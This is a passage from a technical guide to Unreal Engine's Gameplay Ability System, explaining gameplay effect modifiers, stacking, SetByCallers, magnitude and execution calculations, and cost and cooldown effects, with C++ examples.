| `Attribute Based` | `Attribute Based` `Modifiers` take the `CurrentValue` or `BaseValue` of a backing `Attribute` on the `Source` (who created the `GameplayEffectSpec`) or `Target` (who received the `GameplayEffectSpec`) and further modifies it with a coefficient and pre and post coefficient additions. `Snapshotting` means the backing `Attribute` is captured when the `GameplayEffectSpec` is created whereas no snapshotting means the `Attribute` is captured when the `GameplayEffectSpec` is applied. |
| `Custom Calculation Class` | `Custom Calculation Class` provides the most flexibility for complex `Modifiers`. This `Modifier` takes a [`ModifierMagnitudeCalculation`](#concepts-ge-mmc) class and can further manipulate the resulting float value with a coefficient and pre and post coefficient additions. |
| `Set By Caller` | `SetByCaller` `Modifiers` are values that are set outside of the `GameplayEffect` at runtime by the ability or whoever made the `GameplayEffectSpec` on the `GameplayEffectSpec`. For example, you would use a `SetByCaller` if you want to set the damage to be based on how long the player held down a button to charge the ability. `SetByCallers` are essentially `TMap<FGameplayTag, float>` that live on the `GameplayEffectSpec`. The `Modifier` is just telling the `Aggregator` to look for a `SetByCaller` value associated with the supplied `GameplayTag`. The `SetByCallers` used by `Modifiers` can only use the `GameplayTag` version of the concept. The `FName` version is disabled here. If the `Modifier` is set to `SetByCaller` but a `SetByCaller` with the correct `GameplayTag` does not exist on the `GameplayEffectSpec`, the game will throw a runtime error and return a value of 0. This might cause issues in the case of a `Divide` operation. See [`SetByCallers`](#concepts-ge-spec-setbycaller) for more information on how to use `SetByCallers`. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-mods-multiplydivide"></a>
##### 4.5.4.1 Multiply and Divide Modifiers
By default, all `Multiply` and `Divide` `Modifiers` are added together before multiplying or dividing them into the `Attribute`'s `BaseValue`.
```c++
float FAggregatorModChannel::EvaluateWithBase(float InlineBaseValue, const FAggregatorEvaluateParameters& Parameters) const
{
...
float Additive = SumMods(Mods[EGameplayModOp::Additive], GameplayEffectUtilities::GetModifierBiasByModifierOp(EGameplayModOp::Additive), Parameters);
float Multiplicitive = SumMods(Mods[EGameplayModOp::Multiplicitive], GameplayEffectUtilities::GetModifierBiasByModifierOp(EGameplayModOp::Multiplicitive), Parameters);
float Division = SumMods(Mods[EGameplayModOp::Division], GameplayEffectUtilities::GetModifierBiasByModifierOp(EGameplayModOp::Division), Parameters);
...
return ((InlineBaseValue + Additive) * Multiplicitive) / Division;
...
}
```
```c++
float FAggregatorModChannel::SumMods(const TArray<FAggregatorMod>& InMods, float Bias, const FAggregatorEvaluateParameters& Parameters)
{
float Sum = Bias;
for (const FAggregatorMod& Mod : InMods)
{
if (Mod.Qualifies())
{
Sum += (Mod.EvaluatedMagnitude - Bias);
}
}
return Sum;
}
```
*from `GameplayEffectAggregator.cpp`*
Both `Multiply` and `Divide` `Modifiers` have a `Bias` value of `1` in this formula (`Addition` has a `Bias` of `0`). So it would look something like:
```
1 + (Mod1.Magnitude - 1) + (Mod2.Magnitude - 1) + ...
```
This formula leads to some unexpected results. Firstly, this formula adds all the modifiers together before multiplying or dividing them into the `BaseValue`. Most people would expect it to multiply or divide them together. For example, if you have two `Multiply` modifiers of `1.5`, most people would expect the `BaseValue` to be multiplied by `1.5 x 1.5 = 2.25`. Instead, this adds the `1.5`s together to multiply the `BaseValue` by `2` (`50% increase + another 50% increase = 100% increase`). This was for the example from `GameplayPrediction.h` of a `10%` speed buff on `500` base speed would be `550`. Add another `10%` speed buff and it will be `600`.
Secondly, this formula has some undocumented rules about what values can be used as it was designed with Paragon in mind.
Rules for `Multiply` and `Divide` multiplication addition formula:
* `(No more than one value < 1) AND (Any number of values [1, 2))`
* `OR (One value >= 2)`
The `Bias` in the formula basically subtracts out the integer digit of numbers in the range `[1, 2)`. The first `Modifier`'s `Bias` subtracts out from the starting `Sum` value (set to the `Bias` before the loop) which is why any value by itself works and why one value `< 1` will work with the numbers in the range `[1, 2)`.
Some examples with `Multiply`:
Multipliers: `0.5`
`1 + (0.5 - 1) = 0.5`, correct
Multipliers: `0.5, 0.5`
`1 + (0.5 - 1) + (0.5 - 1) = 0`, incorrect expected `1`? Multiple values less than `1` don't make sense for adding multipliers. Paragon was designed to only use the [greatest negative value for `Multiply` `Modifiers`](#cae-nonstackingge) so there would only ever be at most one value less than `1` multiplying into the `BaseValue`.
Multipliers: `1.1, 0.5`
`1 + (0.5 - 1) + (1.1 - 1) = 0.6`, correct
Multipliers: `5, 5`
`1 + (5 - 1) + (5 - 1) = 9`, incorrect expected `10`. Will always be the `sum of the Modifiers - number of Modifiers + 1`.
Many games will want their `Multiply` and `Divide` `Modifiers` to multiply and divide together before applying to the `BaseValue`. To achieve this, you will need to **change the engine code** for `FAggregatorModChannel::EvaluateWithBase()`.
```c++
float FAggregatorModChannel::EvaluateWithBase(float InlineBaseValue, const FAggregatorEvaluateParameters& Parameters) const
{
...
float Multiplicitive = MultiplyMods(Mods[EGameplayModOp::Multiplicitive], Parameters);
float Division = MultiplyMods(Mods[EGameplayModOp::Division], Parameters);
...
return ((InlineBaseValue + Additive) * Multiplicitive) / Division;
}
```
```c++
float FAggregatorModChannel::MultiplyMods(const TArray<FAggregatorMod>& InMods, const FAggregatorEvaluateParameters& Parameters)
{
float Multiplier = 1.0f;
for (const FAggregatorMod& Mod : InMods)
{
if (Mod.Qualifies())
{
Multiplier *= Mod.EvaluatedMagnitude;
}
}
return Multiplier;
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-mods-gameplaytags"></a>
##### 4.5.4.2 Gameplay Tags on Modifiers
`SourceTags` and `TargetTags` can be set for each [Modifier](#concepts-ge-mods). They work the same like the [`Application Tag requirements`](#concepts-ge-tags) of a `GameplayEffect`. So the tags are considered only when the effect is applied. I.e. when having a periodic, infinite effect, they are only taken into consideration on the first application of the effect but *not* on each periodic execution.
`Attribute Based` Modifiers can also set `SourceTagFilter` and `TargetTagFilter`. When determining the magnitude of the attribute which is the source of the `Attribute Based` Modifier, these filters are used to exclude certain Modifiers to that attribute. Modifiers which source or target didn't have all of the tags of the filter are excluded.
This means in detail: The tags of the source ASC and the target ASC are captured by `GameplayEffects`. The source ASC tags are captured, when the `GameplayEffectSpec` is created, the target ASC tags are captured on execution of the effect. When determining, if a Modifier of an infinite or duration effect "qualifies" to be applied (i.e. its Aggregator qualifies) and those filters are set, the captured tags are compared against the filters.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-stacking"></a>
#### 4.5.5 Stacking Gameplay Effects
`GameplayEffects` by default will apply new instances of the `GameplayEffectSpec` that don't know or care about previously existing instances of the `GameplayEffectSpec` on application. `GameplayEffects` can be set to stack where instead of a new instance of the `GameplayEffectSpec` is added, the currently existing `GameplayEffectSpec's` stack count is changed. Stacking only works for `Duration` and `Infinite` `GameplayEffects`.
There are two types of stacking: Aggregate by Source and Aggregate by Target.
| Stacking Type | Description |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| Aggregate by Source | There is a separate instance of stacks per Source `ASC` on the Target. Each Source can apply X amount of stacks. |
| Aggregate by Target | There is only one instance of stacks on the Target regardless of Source. Each Source can apply a stack up to the shared stack limit. |
Stacks also have policies for expiration, duration refresh, and period reset. They have helpful hover tooltips in the `GameplayEffect` Blueprint.
The Sample Project includes a custom Blueprint node that listens for `GameplayEffect` stack changes. The HUD UMG Widget uses it to update the amount of passive armor stacks that the player has. This `AsyncTask` will live forever until manually called `EndTask()`, which we do in the UMG Widget's `Destruct` event. See `AsyncTaskEffectStackChanged.h/cpp`.

**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-ga"></a>
#### 4.5.6 Granted Abilities
`GameplayEffects` can grant new [`GameplayAbilities`](#concepts-ga) to `ASCs`. Only `Duration` and `Infinite` `GameplayEffects` can grant abilities.
A common usecase for this is when you want to force another player to do something like moving them from a knockback or pull. You would apply a `GameplayEffect` to them that grants them an automatically activating ability (see [Passive Abilities](#concepts-ga-activating-passive) for how to automatically activate an ability when it is granted) that does the desired action to them.
Designers can choose which abilities a `GameplayEffect` grants, what level to grant them at, what [input to bind](#concepts-ga-input) them at and the removal policy for the granted ability.
| Removal Policy | Description |
| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Cancel Ability Immediately | The granted ability is canceled and removed immediately when the `GameplayEffect` that granted it is removed from the Target. |
| Remove Ability on End | The granted ability is allowed to finish and then is removed from the Target. |
| Do Nothing | The granted ability is not affected by the removal of the granting `GameplayEffect` from the Target. The Target has the ability permanently until it is manually removed later. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-tags"></a>
#### 4.5.7 Gameplay Effect Tags
`GameplayEffects` carry multiple [`GameplayTagContainers`](#concepts-gt). Designers will edit the `Added` and `Removed` `GameplayTagContainers` for each category and the result will show up in the `Combined` `GameplayTagContainer` on compilation. `Added` tags are new tags that this `GameplayEffect` adds that its parents did not previously have. `Removed` tags are tags that parent classes have but this subclass does not have.
| Category | Description |
| --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Gameplay Effect Asset Tags | Tags that the `GameplayEffect` has. They do not do any function on their own and serve only the purpose of describing the `GameplayEffect`. |
| Granted Tags | Tags that live on the `GameplayEffect` but are also given to the `ASC` that the `GameplayEffect` is applied to. They are removed from the `ASC` when the `GameplayEffect` is removed. This only works for `Duration` and `Infinite` `GameplayEffects`. |
| Ongoing Tag Requirements | Once applied, these tags determine whether the `GameplayEffect` is on or off. A `GameplayEffect` can be off and still be applied. If a `GameplayEffect` is off due to failing the Ongoing Tag Requirements, but the requirements are then met, the `GameplayEffect` will turn on again and reapply its modifiers. This only works for `Duration` and `Infinite` `GameplayEffects`. |
| Application Tag Requirements | Tags on the Target that determine if a `GameplayEffect` can be applied to the Target. If these requirements are not met, the `GameplayEffect` is not applied. |
| Remove Gameplay Effects with Tags | `GameplayEffects` on the Target that have any of these tags in their `Asset Tags` or `Granted Tags` will be removed from the Target when this `GameplayEffect` is successfully applied. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-immunity"></a>
#### 4.5.8 Immunity
`GameplayEffects` can grant immunity, effectively blocking the application of other `GameplayEffects`, based on [`GameplayTags`](#concepts-gt). While immunity can be effectively achieved through other means like `Application Tag Requirements`, using this system provides a delegate for when `GameplayEffects` are blocked due to immunity `UAbilitySystemComponent::OnImmunityBlockGameplayEffectDelegate`.
`GrantedApplicationImmunityTags` checks if the Source `ASC` (including tags from the Source ability's `AbilityTags` if there was one) has any of the specified tags. This is a way to provide immunity from all `GameplayEffects` from certain characters or sources based on their tags.
`Granted Application Immunity Query` checks the incoming `GameplayEffectSpec` if it matches any of the queries to block or allow its application.
The queries have helpful hover tooltips in the `GameplayEffect` Blueprint.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-spec"></a>
#### 4.5.9 Gameplay Effect Spec
The [`GameplayEffectSpec`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/FGameplayEffectSpec/index.html) (`GESpec`) can be thought of as the instantiations of `GameplayEffects`. They hold a reference to the `GameplayEffect` class that they represent, what level it was created at, and who created it. These can be freely created and modified at runtime before application unlike `GameplayEffects` which should be created by designers prior to runtime. When applying a `GameplayEffect`, a `GameplayEffectSpec` is created from the `GameplayEffect` and that is actually what is applied to the Target.
`GameplayEffectSpecs` are created from `GameplayEffects` using `UAbilitySystemComponent::MakeOutgoingSpec()` which is `BlueprintCallable`. `GameplayEffectSpecs` do not have to be immediately applied. It is common to pass a `GameplayEffectSpec` to a projectile created from an ability that the projectile can apply to the target it hits later. When `GameplayEffectSpecs` are successfully applied, they return a new struct called `FActiveGameplayEffect`.
Notable `GameplayEffectSpec` Contents:
* The `GameplayEffect` class that this `GameplayEffect` was created from.
* The level of this `GameplayEffectSpec`. Usually the same as the level of the ability that created the `GameplayEffectSpec` but can be different.
* The duration of the `GameplayEffectSpec`. Defaults to the duration of the `GameplayEffect` but can be different.
* The period of the `GameplayEffectSpec` for periodic effects. Defaults to the period of the `GameplayEffect` but can be different.
* The current stack count of this `GameplayEffectSpec`. The stack limit is on the `GameplayEffect`.
* The [`GameplayEffectContextHandle`](#concepts-ge-context) tells us who created this `GameplayEffectSpec`.
* `Attributes` that were captured at the time of the `GameplayEffectSpec`'s creation due to snapshotting.
* `DynamicGrantedTags` that the `GameplayEffectSpec` grants to the Target in addition to the `GameplayTags` that the `GameplayEffect` grants.
* `DynamicAssetTags` that the `GameplayEffectSpec` has in addition to the `AssetTags` that the `GameplayEffect` has.
* `SetByCaller` `TMaps`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-spec-setbycaller"></a>
##### 4.5.9.1 SetByCallers
`SetByCallers` allow the `GameplayEffectSpec` to carry float values associated with a `GameplayTag` or `FName` around. They are stored in their respective `TMaps`: `TMap<FGameplayTag, float>` and `TMap<FName, float>` on the `GameplayEffectSpec`. These can be used as `Modifiers` on the `GameplayEffect` or as generic means of ferrying floats around. It is common to pass numerical data generated inside of an ability to [`GameplayEffectExecutionCalculations`](#concepts-ge-ec) or [`ModifierMagnitudeCalculations`](#concepts-ge-mmc) via `SetByCallers`.
| `SetByCaller` Use | Notes |
| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Modifiers` | Must be defined ahead of time in the `GameplayEffect` class. Can only use the `GameplayTag` version. If one is defined on the `GameplayEffect` class but the `GameplayEffectSpec` does not have the corresponding tag and float value pair, the game will have a runtime error on application of the `GameplayEffectSpec` and return 0. This is a potential problem for a `Divide` operation. See [`Modifiers`](#concepts-ge-mods). |
| Elsewhere | Does not need to be defined ahead of time anywhere. Reading a `SetByCaller` that does not exist on a `GameplayEffectSpec` can return a developer defined default value with optional warnings. |
To assign `SetByCaller` values in Blueprint, use the Blueprint node for the version that you need (`GameplayTag` or `FName`):

To read a `SetByCaller` value in Blueprint, you will need to make custom nodes in your Blueprint Library.
To assign `SetByCaller` values in C++, use the version of the function that you need (`GameplayTag` or `FName`):
```c++
void FGameplayEffectSpec::SetSetByCallerMagnitude(FName DataName, float Magnitude);
```
```c++
void FGameplayEffectSpec::SetSetByCallerMagnitude(FGameplayTag DataTag, float Magnitude);
```
To read a `SetByCaller` value in C++, use the version of the function that you need (`GameplayTag` or `FName`):
```c++
float GetSetByCallerMagnitude(FName DataName, bool WarnIfNotFound = true, float DefaultIfNotFound = 0.f) const;
```
```c++
float GetSetByCallerMagnitude(FGameplayTag DataTag, bool WarnIfNotFound = true, float DefaultIfNotFound = 0.f) const;
```
I recommend using the `GameplayTag` version over the `FName` version. This can prevent spelling errors in Blueprint.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-context"></a>
#### 4.5.10 Gameplay Effect Context
The [`GameplayEffectContext`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/FGameplayEffectContext/index.html) structure holds information about a `GameplayEffectSpec's` instigator and [`TargetData`](#concepts-targeting-data). This is also a good structure to subclass to pass arbitrary data around between places like [`ModifierMagnitudeCalculations`](#concepts-ge-mmc) / [`GameplayEffectExecutionCalculations`](#concepts-ge-ec), [`AttributeSets`](#concepts-as), and [`GameplayCues`](#concepts-gc).
To subclass the `GameplayEffectContext`:
1. Subclass `FGameplayEffectContext`
1. Override `FGameplayEffectContext::GetScriptStruct()`
1. Override `FGameplayEffectContext::Duplicate()`
1. Override `FGameplayEffectContext::NetSerialize()` if your new data needs to be replicated
1. Implement `TStructOpsTypeTraits` for your subclass, like the parent struct `FGameplayEffectContext` has
1. Override `AllocGameplayEffectContext()` in your [`AbilitySystemGlobals`](#concepts-asg) class to return a new object of your subclass
[GASShooter](https://github.com/tranek/GASShooter) uses a subclassed `GameplayEffectContext` to add `TargetData` which can be accessed in `GameplayCues`, specifically for the shotgun since it can hit more than one enemy.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-mmc"></a>
#### 4.5.11 Modifier Magnitude Calculation
[`ModifierMagnitudeCalculations`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UGameplayModMagnitudeCalculation/index.html) (`ModMagCalc` or `MMC`) are powerful classes used as [`Modifiers`](#concepts-ge-mods) in `GameplayEffects`. They function similarly to [`GameplayEffectExecutionCalculations`](#concepts-ge-ec) but are less powerful and most importantly they can be [predicted](#concepts-p). Their sole purpose is to return a float value from `CalculateBaseMagnitude_Implementation()`. You can subclass and override this function in Blueprint and C++.
`MMCs` can be used in any duration of `GameplayEffects` - `Instant`, `Duration`, `Infinite`, or `Periodic`.
`MMCs'` strength lies in their capability to capture the value of any number of `Attributes` on the `Source` or the `Target` of `GameplayEffect` with full access to the `GameplayEffectSpec` to read `GameplayTags` and `SetByCallers`. `Attributes` can either be snapshotted or not. Snapshotted `Attributes` are captured when the `GameplayEffectSpec` is created whereas non snapshotted `Attributes` are captured when the `GameplayEffectSpec` is applied and automatically update when the `Attribute` changes for `Infinite` and `Duration` `GameplayEffects`. Capturing `Attributes` recalculates their `CurrentValue` from existing mods on the `ASC`. This recalculation will **not** run [`PreAttributeChange()`](#concepts-as-preattributechange) in the `AbilitySet` so any clamping must be done here again.
| Snapshot | Source or Target | Captured on `GameplayEffectSpec` | Automatically updates when `Attribute` changes for `Infinite` or `Duration` `GE` |
| -------- | ---------------- | -------------------------------- | -------------------------------------------------------------------------------- |
| Yes | Source | Creation | No |
| Yes | Target | Application | No |
| No | Source | Application | Yes |
| No | Target | Application | Yes |
The resultant float from an `MMC` can further be modified in the `GameplayEffect's` `Modifier` by a coefficient and a pre and post coefficient addition.
An example `MMC` that captures the `Target's` mana `Attribute` reduces it from a poison effect where the amount reduced changes depending on how much mana the `Target` has and a tag that the `Target` might have:
```c++
UPAMMC_PoisonMana::UPAMMC_PoisonMana()
{
//ManaDef defined in header FGameplayEffectAttributeCaptureDefinition ManaDef;
ManaDef.AttributeToCapture = UPAAttributeSetBase::GetManaAttribute();
ManaDef.AttributeSource = EGameplayEffectAttributeCaptureSource::Target;
ManaDef.bSnapshot = false;
//MaxManaDef defined in header FGameplayEffectAttributeCaptureDefinition MaxManaDef;
MaxManaDef.AttributeToCapture = UPAAttributeSetBase::GetMaxManaAttribute();
MaxManaDef.AttributeSource = EGameplayEffectAttributeCaptureSource::Target;
MaxManaDef.bSnapshot = false;
RelevantAttributesToCapture.Add(ManaDef);
RelevantAttributesToCapture.Add(MaxManaDef);
}
float UPAMMC_PoisonMana::CalculateBaseMagnitude_Implementation(const FGameplayEffectSpec & Spec) const
{
// Gather the tags from the source and target as that can affect which buffs should be used
const FGameplayTagContainer* SourceTags = Spec.CapturedSourceTags.GetAggregatedTags();
const FGameplayTagContainer* TargetTags = Spec.CapturedTargetTags.GetAggregatedTags();
FAggregatorEvaluateParameters EvaluationParameters;
EvaluationParameters.SourceTags = SourceTags;
EvaluationParameters.TargetTags = TargetTags;
float Mana = 0.f;
GetCapturedAttributeMagnitude(ManaDef, Spec, EvaluationParameters, Mana);
Mana = FMath::Max<float>(Mana, 0.0f);
float MaxMana = 0.f;
GetCapturedAttributeMagnitude(MaxManaDef, Spec, EvaluationParameters, MaxMana);
MaxMana = FMath::Max<float>(MaxMana, 1.0f); // Avoid divide by zero
float Reduction = -20.0f;
if (Mana / MaxMana > 0.5f)
{
// Double the effect if the target has more than half their mana
Reduction *= 2;
}
if (TargetTags->HasTagExact(FGameplayTag::RequestGameplayTag(FName("Status.WeakToPoisonMana"))))
{
// Double the effect if the target is weak to PoisonMana
Reduction *= 2;
}
return Reduction;
}
```
If you don't add the `FGameplayEffectAttributeCaptureDefinition` to `RelevantAttributesToCapture` in the `MMC's` constructor and try to capture `Attributes`, you will get an error about a missing Spec while capturing. If you don't need to capture `Attributes`, then you don't have to add anything to `RelevantAttributesToCapture`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-ec"></a>
#### 4.5.12 Gameplay Effect Execution Calculation
[`GameplayEffectExecutionCalculations`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UGameplayEffectExecutionCalculat-/index.html) (`ExecutionCalculation`, `Execution` (you will often see this term in the plugin's source code), or `ExecCalc`) are the most powerful way for `GameplayEffects` to make changes to an `ASC`. Like [`ModifierMagnitudeCalculations`](#concepts-ge-mmc), these can capture `Attributes` and optionally snapshot them. Unlike `MMCs`, these can change more than one `Attribute` and essentially do anything else that the programmer wants. The downside to this power and flexibility is that they can not be [predicted](#concepts-p) and they must be implemented in C++.
`ExecutionCalculations` can only be used with `Instant` and `Periodic` `GameplayEffects`. Anything with the word 'Execute' in it typically refers to these two types of `GameplayEffects`.
Snapshotting captures the `Attribute` when the `GameplayEffectSpec` is created whereas not snapshotting captures the `Attribute` when the `GameplayEffectSpec` is applied. Capturing `Attributes` recalculates their `CurrentValue` from existing mods on the `ASC`. This recalculation will **not** run [`PreAttributeChange()`](#concepts-as-preattributechange) in the `AbilitySet` so any clamping must be done here again.
| Snapshot | Source or Target | Captured on `GameplayEffectSpec` |
| -------- | ---------------- | -------------------------------- |
| Yes | Source | Creation |
| Yes | Target | Application |
| No | Source | Application |
| No | Target | Application |
To set up `Attribute` capture, we follow a pattern set by Epic's ActionRPG Sample Project by defining a struct holding and defining how we capture the `Attributes` and creating one copy of it in the struct's constructor. You will have a struct like this for every `ExecCalc`. **Note:** Each struct needs a unique name as they share the same namespace. Using the same name for the structs will cause incorrect behavior in capturing your `Attributes` (mostly capturing the values of the wrong `Attributes`).
For `Local Predicted`, `Server Only`, and `Server Initiated` [`GameplayAbilities`](#concepts-ga), the `ExecCalc` only calls on the Server.
Calculating damage received based on a complex formula reading from many attributes on the `Source` and the `Target` is the most common example of an `ExecCalc`. The included Sample Project has a simple `ExecCalc` for calculating damage that reads the value of damage from the `GameplayEffectSpec's` [`SetByCaller`](#concepts-ge-spec-setbycaller) and then mitigates that value based on the armor `Attribute` captured from the `Target`. See `GDDamageExecCalculation.cpp/.h`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-ec-senddata"></a>
##### 4.5.12.1 Sending Data to Execution Calculations
There are a few ways to send data to an `ExecutionCalculation` in addition to capturing `Attributes`.
<a name="concepts-ge-ec-senddata-setbycaller"></a>
###### 4.5.12.1.1 SetByCaller
Any [`SetByCallers` set on the `GameplayEffectSpec`](#concepts-ge-spec-setbycaller) can be directly read in the `ExecutionCalculation`.
```c++
const FGameplayEffectSpec& Spec = ExecutionParams.GetOwningSpec();
float Damage = FMath::Max<float>(Spec.GetSetByCallerMagnitude(FGameplayTag::RequestGameplayTag(FName("Data.Damage")), false, -1.0f), 0.0f);
```
<a name="concepts-ge-ec-senddata-backingdataattribute"></a>
###### 4.5.12.1.2 Backing Data Attribute Calculation Modifier
If you want to hardcode values to a `GameplayEffect`, you can pass them in using a `CalculationModifier` that uses one of the captured `Attributes` as the backing data.
In this screenshot example, we're adding 50 to the captured Damage `Attribute`. You could also set this to `Override` to just take in only the hardcoded value.

The `ExecutionCalculation` reads this value in when it captures the `Attribute`.
```c++
float Damage = 0.0f;
// Capture optional damage value set on the damage GE as a CalculationModifier under the ExecutionCalculation
ExecutionParams.AttemptCalculateCapturedAttributeMagnitude(DamageStatics().DamageDef, EvaluationParameters, Damage);
```
<a name="concepts-ge-ec-senddata-backingdatatempvariable"></a>
###### 4.5.12.1.3 Backing Data Temporary Variable Calculation Modifier
If you want to hardcode values to a `GameplayEffect`, you can pass them in using a `CalculationModifier` that uses a `Temporary Variable` or `Transient Aggregator` as it's called in C++. The `Temporary Variable` is associated with a `GameplayTag`.
In this screenshot example, we're adding 50 to a `Temporary Variable` using the `Data.Damage` `GameplayTag`.

Add backing `Temporary Variables` to your `ExecutionCalculation`'s constructor:
```c++
ValidTransientAggregatorIdentifiers.AddTag(FGameplayTag::RequestGameplayTag("Data.Damage"));
```
The `ExecutionCalculation` reads this value in using special capture functions similar to the `Attribute` capture functions.
```c++
float Damage = 0.0f;
ExecutionParams.AttemptCalculateTransientAggregatorMagnitude(FGameplayTag::RequestGameplayTag("Data.Damage"), EvaluationParameters, Damage);
```
<a name="concepts-ge-ec-senddata-effectcontext"></a>
###### 4.5.12.1.4 Gameplay Effect Context
You can send data to the `ExecutionCalculation` via a custom [`GameplayEffectContext` on the `GameplayEffectSpec`](#concepts-ge-context).
In the `ExecutionCalculation` you can access the `EffectContext` from the `FGameplayEffectCustomExecutionParameters`.
```c++
const FGameplayEffectSpec& Spec = ExecutionParams.GetOwningSpec();
FGSGameplayEffectContext* ContextHandle = static_cast<FGSGameplayEffectContext*>(Spec.GetContext().Get());
```
If you need change something on the `GameplayEffectSpec` or the `EffectContext`:
```c++
FGameplayEffectSpec* MutableSpec = ExecutionParams.GetOwningSpecForPreExecuteMod();
FGSGameplayEffectContext* ContextHandle = static_cast<FGSGameplayEffectContext*>(MutableSpec->GetContext().Get());
```
Use caution if modifying the `GameplayEffectSpec` in the `ExecutionCalculation`. See the comment for `GetOwningSpecForPreExecuteMod()`.
```c++
/** Non const access. Be careful with this, especially when modifying a spec after attribute capture. */
FGameplayEffectSpec* GetOwningSpecForPreExecuteMod() const;
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-car"></a>
#### 4.5.13 Custom Application Requirement
[`CustomApplicationRequirement`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UGameplayEffectCustomApplication-/index.html) (`CAR`) classes give the designers advanced control over whether a `GameplayEffect` can be applied versus the simple `GameplayTag` checks on the `GameplayEffect`. These can be implemented in Blueprint by overriding `CanApplyGameplayEffect()` and in C++ by overriding `CanApplyGameplayEffect_Implementation()`.
Examples of when to use `CARs`:
* `Target` needs to have a certain amount of an `Attribute`
* `Target` needs to have a certain number of stacks of a `GameplayEffect`
`CARs` can also do more advanced things like checking if an instance of this `GameplayEffect` is already on the `Target` and [changing the duration](#concepts-ge-duration) of the existing instance instead of applying a new instance (return false for `CanApplyGameplayEffect()`).
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-cost"></a>
#### 4.5.14 Cost Gameplay Effect
[`GameplayAbilities`](#concepts-ga) have an optional `GameplayEffect` specifically designed to use as the cost of the ability. Costs are how much of an `Attribute` an `ASC` needs to have to be able to activate the `GameplayAbility`. If a `GA` cannot afford the `Cost GE`, then they will not be able to activate. This `Cost GE` should be an `Instant` `GameplayEffect` with one or more `Modifiers` that subtract from `Attributes`. By default, `Cost GEs` are meant to be predicted and it is recommended to maintain that capability meaning do not use `ExecutionCalculations`. `MMCs` are perfectly acceptable and encouraged for complex cost calculations.
When starting out, you will most likely have one unique `Cost GE` per `GA` that has a cost. A more advanced technique is to reuse one `Cost GE` for multiple `GAs` and just modify the `GameplayEffectSpec` created from the `Cost GE` with the `GA`-specific data (the cost value is defined on the `GA`). **This only works for `Instanced` abilities.**
Two techniques for reusing the `Cost GE`:
1. **Use an `MMC`.** This is the easiest method. Create an [`MMC`](#concepts-ge-mmc) that reads the cost value from the `GameplayAbility` instance which you can get from the `GameplayEffectSpec`.
```c++
float UPGMMC_HeroAbilityCost::CalculateBaseMagnitude_Implementation(const FGameplayEffectSpec & Spec) const
{
const UPGGameplayAbility* Ability = Cast<UPGGameplayAbility>(Spec.GetContext().GetAbilityInstance_NotReplicated());
if (!Ability)
{
return 0.0f;
}
return Ability->Cost.GetValueAtLevel(Ability->GetAbilityLevel());
}
```
In this example the cost value is an `FScalableFloat` on the `GameplayAbility` child class that I added to it.
```c++
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "Cost")
FScalableFloat Cost;
```

2. **Override `UGameplayAbility::GetCostGameplayEffect()`.** Override this function and [create a `GameplayEffect` at runtime](#concepts-ge-dynamic) that reads the cost value on the `GameplayAbility`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ge-cooldown"></a>
#### 4.5.15 Cooldown Gameplay Effect
[`GameplayAbilities`](#concepts-ga) have an optional `GameplayEffect` specifically designed to use as the cooldown of the ability. Cooldowns determine how long after activation the ability can be activated again. If a `GA` is still on cooldown, it cannot activate. This `Cooldown GE` should be a `Duration` `GameplayEffect` with no `Modifiers` and a unique `GameplayTag` per `GameplayAbility` or per ability slot (if your game has interchangeable abilities assigned to slots that share a cooldown) in the `GameplayEffect's` `GrantedTags` ("`Cooldown Tag`"). The `GA` actually checks for the presence of the `Cooldown Tag` instead of the presence of the `Cooldown GE`. By default, `Cooldown GEs` are meant to be predicted and it is recommended to maintain that capability meaning do not use `ExecutionCalculations`. `MMCs` are perfectly acceptable and encouraged for complex cooldown calculations.
When starting out, you will most likely have one unique `Cooldown GE` per `GA` that has a cooldown. A more advanced technique is to reuse one `Cooldown GE` for multiple `GAs` and just modify the `GameplayEffectSpec` created from the `Cooldown GE` with the `GA`-specific data (the cooldown duration and the `Cooldown Tag` are defined on the `GA`). **This only works for `Instanced` abilities.**
Two techniques for reusing the `Cooldown GE`:
1. **Use a [`SetByCaller`](#concepts-ge-spec-setbycaller).** This is the easiest method. Set the duration of your shared `Cooldown GE` to `SetByCaller` with a `GameplayTag`. On your `GameplayAbility` subclass, define a float / `FScalableFloat` for the duration, a `FGameplayTagContainer` for the unique `Cooldown Tag`, and a temporary `FGameplayTagContainer` that we will use as the return pointer of the union of our `Cooldown Tag` and the `Cooldown GE's` tags.
```c++
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "Cooldown")
FScalableFloat CooldownDuration;
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "Cooldown")
FGameplayTagContainer CooldownTags;
// Temp container that we will return the pointer to in GetCooldownTags().
// This will be a union of our CooldownTags and the Cooldown GE's cooldown tags.
UPROPERTY(Transient)
FGameplayTagContainer TempCooldownTags;
```
